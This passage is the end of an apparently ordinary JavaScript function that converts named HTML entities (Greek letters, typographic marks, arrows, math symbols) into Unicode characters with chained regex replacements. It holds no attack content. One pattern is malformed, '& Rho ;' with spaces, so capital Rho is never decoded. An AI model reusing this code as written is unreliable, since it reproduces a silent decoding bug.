ng.fromCharCode(0x0391));s=s.replace(/&Beta;/g,String.fromCharCode(0x0392));s=s.replace(/&Gamma;/g,String.fromCharCode(0x0393));s=s.replace(/&Delta;/g,String.fromCharCode(0x0394));s=s.replace(/&Epsilon;/g,String.fromCharCode(0x0395));s=s.replace(/&Zeta;/g,String.fromCharCode(0x0396));s=s.replace(/&Eta;/g,String.fromCharCode(0x0397));s=s.replace(/&Theta;/g,String.fromCharCode(0x0398));s=s.replace(/&Iota;/g,String.fromCharCode(0x0399));s=s.replace(/&Kappa;/g,String.fromCharCode(0x039a));s=s.replace(/&Lambda;/g,String.fromCharCode(0x039b));s=s.replace(/&Mu;/g,String.fromCharCode(0x039c));s=s.replace(/&Nu;/g,String.fromCharCode(0x039d));s=s.replace(/&Xi;/g,String.fromCharCode(0x039e));s=s.replace(/&Omicron;/g,String.fromCharCode(0x039f));s=s.replace(/&Pi;/g,String.fromCharCode(0x03a0));s=s.replace(/& Rho ;/g,String.fromCharCode(0x03a1));s=s.replace(/&Sigma;/g,String.fromCharCode(0x03a3));s=s.replace(/&Tau;/g,String.fromCharCode(0x03a4));s=s.replace(/&Upsilon;/g,String.fromCharCode(0x03a5));s=s.replace(/&Phi;/g,String.fromCharCode(0x03a6));s=s.replace(/&Chi;/g,String.fromCharCode(0x03a7));s=s.replace(/&Psi;/g,String.fromCharCode(0x03a8));s=s.replace(/&Omega;/g,String.fromCharCode(0x03a9));s=s.replace(/&alpha;/g,String.fromCharCode(0x03b1));s=s.replace(/&beta;/g,String.fromCharCode(0x03b2));s=s.replace(/&gamma;/g,String.fromCharCode(0x03b3));s=s.replace(/&delta;/g,String.fromCharCode(0x03b4));s=s.replace(/&epsilon;/g,String.fromCharCode(0x03b5));s=s.replace(/&zeta;/g,String.fromCharCode(0x03b6));s=s.replace(/&eta;/g,String.fromCharCode(0x03b7));s=s.replace(/&theta;/g,String.fromCharCode(0x03b8));s=s.replace(/&iota;/g,String.fromCharCode(0x03b9));s=s.replace(/&kappa;/g,String.fromCharCode(0x03ba));s=s.replace(/&lambda;/g,String.fromCharCode(0x03bb));s=s.replace(/&mu;/g,String.fromCharCode(0x03bc));s=s.replace(/&nu;/g,String.fromCharCode(0x03bd));s=s.replace(/&xi;/g,String.fromCharCode(0x03be));s=s.replace(/&omicron;/g,String.fromCharCode(0x03bf));s=s.replace(/&pi;/g,String.fromCharCode(0x03c0));s=s.replace(/&rho;/g,String.fromCharCode(0x03c1));s=s.replace(/&sigmaf;/g,String.fromCharCode(0x03c2));s=s.replace(/&sigma;/g,String.fromCharCode(0x03c3));s=s.replace(/&tau;/g,String.fromCharCode(0x03c4));s=s.replace(/&upsilon;/g,String.fromCharCode(0x03c5));s=s.replace(/&phi;/g,String.fromCharCode(0x03c6));s=s.replace(/&chi;/g,String.fromCharCode(0x03c7));s=s.replace(/&psi;/g,String.fromCharCode(0x03c8));s=s.replace(/&omega;/g,String.fromCharCode(0x03c9));s=s.replace(/&thetasym;/g,String.fromCharCode(0x03d1));s=s.replace(/&upsih;/g,String.fromCharCode(0x03d2));s=s.replace(/&piv;/g,String.fromCharCode(0x03d6));s=s.replace(/&ensp;/g,String.fromCharCode(0x2002));s=s.replace(/&emsp;/g,String.fromCharCode(0x2003));s=s.replace(/&thinsp;/g,String.fromCharCode(0x2009));s=s.replace(/&zwnj;/g,String.fromCharCode(0x200c));s=s.replace(/&zwj;/g,String.fromCharCode(0x200d));s=s.replace(/&lrm;/g,String.fromCharCode(0x200e));s=s.replace(/&rlm;/g,String.fromCharCode(0x200f));s=s.replace(/&ndash;/g,String.fromCharCode(0x2013));s=s.replace(/&mdash;/g,String.fromCharCode(0x2014));s=s.replace(/&lsquo;/g,String.fromCharCode(0x2018));s=s.replace(/&rsquo;/g,String.fromCharCode(0x2019));s=s.replace(/&sbquo;/g,String.fromCharCode(0x201a));s=s.replace(/&ldquo;/g,String.fromCharCode(0x201c));s=s.replace(/&rdquo;/g,String.fromCharCode(0x201d));s=s.replace(/&bdquo;/g,String.fromCharCode(0x201e));s=s.replace(/&dagger;/g,String.fromCharCode(0x2020));s=s.replace(/&Dagger;/g,String.fromCharCode(0x2021));s=s.replace(/&bull;/g,String.fromCharCode(0x2022));s=s.replace(/&hellip;/g,String.fromCharCode(0x2026));s=s.replace(/&permil;/g,String.fromCharCode(0x2030));s=s.replace(/&prime;/g,String.fromCharCode(0x2032));s=s.replace(/&Prime;/g,String.fromCharCode(0x2033));s=s.replace(/&lsaquo;/g,String.fromCharCode(0x2039));s=s.replace(/&rsaquo;/g,String.fromCharCode(0x203a));s=s.replace(/&oline;/g,String.fromCharCode(0x203e));s=s.replace(/&frasl;/g,String.fromCharCode(0x2044));s=s.replace(/&euro;/g,String.fromCharCode(0x20ac));s=s.replace(/&image;/g,String.fromCharCode(0x2111));s=s.replace(/&weierp;/g,String.fromCharCode(0x2118));s=s.replace(/&real;/g,String.fromCharCode(0x211c));s=s.replace(/&trade;/g,String.fromCharCode(0x2122));s=s.replace(/&alefsym;/g,String.fromCharCode(0x2135));s=s.replace(/&larr;/g,String.fromCharCode(0x2190));s=s.replace(/&uarr;/g,String.fromCharCode(0x2191));s=s.replace(/&rarr;/g,String.fromCharCode(0x2192));s=s.replace(/&darr;/g,String.fromCharCode(0x2193));s=s.replace(/&harr;/g,String.fromCharCode(0x2194));s=s.replace(/&crarr;/g,String.fromCharCode(0x21b5));s=s.replace(/&lArr;/g,String.fromCharCode(0x21d0));s=s.replace(/&uArr;/g,String.fromCharCode(0x21d1));s=s.replace(/&rArr;/g,String.fromCharCode(0x21d2));s=s.replace(/&dArr;/g,String.fromCharCode(0x21d3));s=s.replace(/&hArr;/g,String.fromCharCode(0x21d4));s=s.replace(/&forall;/g,String.fromCharCode(0x2200));s=s.replace(/&part;/g,String.fromCharCode(0x2202));s=s.replace(/&exist;/g,String.fromCharCode(0x2203));s=s.replace(/&empty;/g,String.fromCharCode(0x2205));s=s.replace(/&nabla;/g,String.fromCharCode(0x2207));s=s.replace(/&isin;/g,String.fromCharCode(0x2208));s=s.replace(/&notin;/g,String.fromCharCode(0x2209));s=s.replace(/&ni;/g,String.fromCharCode(0x220b));s=s.replace(/&prod;/g,String.fromCharCode(0x220f));s=s.replace(/&sum;/g,String.fromCharCode(0x2211));s=s.replace(/&minus;/g,String.fromCharCode(0x2212));s=s.replace(/&lowast;/g,String.fromCharCode(0x2217));s=s.replace(/&radic;/g,String.fromCharCode(0x221a));s=s.replace(/&prop;/g,String.fromCharCode(0x221d));s=s.replace(/&infin;/g,String.fromCharCode(0x221e));s=s.replace(/&ang;/g,String.fromCharCode(0x2220));s=s.replace(/&and;/g,String.fromCharCode(0x2227));s=s.replace(/&or;/g,String.fromCharCode(0x2228));s=s.replace(/&cap;/g,String.fromCharCode(0x2229));s=s.replace(/&cup;/g,String.fromCharCode(0x222a));s=s.replace(/&int;/g,String.fromCharCode(0x222b));s=s.replace(/&there4;/g,String.fromCharCode(0x2234));s=s.replace(/&sim;/g,String.fromCharCode(0x223c));s=s.replace(/&cong;/g,String.fromCharCode(0x2245));s=s.replace(/&asymp;/g,String.fromCharCode(0x2248));s=s.replace(/&ne;/g,String.fromCharCode(0x2260));s=s.replace(/&equiv;/g,String.fromCharCode(0x2261));s=s.replace(/&le;/g,String.fromCharCode(0x2264));s=s.replace(/&ge;/g,String.fromCharCode(0x2265));s=s.replace(/&sub;/g,String.fromCharCode(0x2282));s=s.replace(/&sup;/g,String.fromCharCode(0x2283));s=s.replace(/&nsub;/g,String.fromCharCode(0x2284));s=s.replace(/&sube;/g,String.fromCharCode(0x2286));s=s.replace(/&supe;/g,String.fromCharCode(0x2287));s=s.replace(/&oplus;/g,String.fromCharCode(0x2295));s=s.replace(/&otimes;/g,String.fromCharCode(0x2297));s=s.replace(/&perp;/g,String.fromCharCode(0x22a5));s=s.replace(/&sdot;/g,String.fromCharCode(0x22c5));s=s.replace(/&lceil;/g,String.fromCharCode(0x2308));s=s.replace(/&rceil;/g,String.fromCharCode(0x2309));s=s.replace(/&lfloor;/g,String.fromCharCode(0x230a));s=s.replace(/&rfloor;/g,String.fromCharCode(0x230b));s=s.replace(/&lang;/g,String.fromCharCode(0x2329));s=s.replace(/&rang;/g,String.fromCharCode(0x232a));s=s.replace(/&loz;/g,String.fromCharCode(0x25ca));s=s.replace(/&spades;/g,String.fromCharCode(0x2660));s=s.replace(/&clubs;/g,String.fromCharCode(0x2663));s=s.replace(/&hearts;/g,String.fromCharCode(0x2665));s=s.replace(/&diams;/g,String.fromCharCode(0x2666));return s;}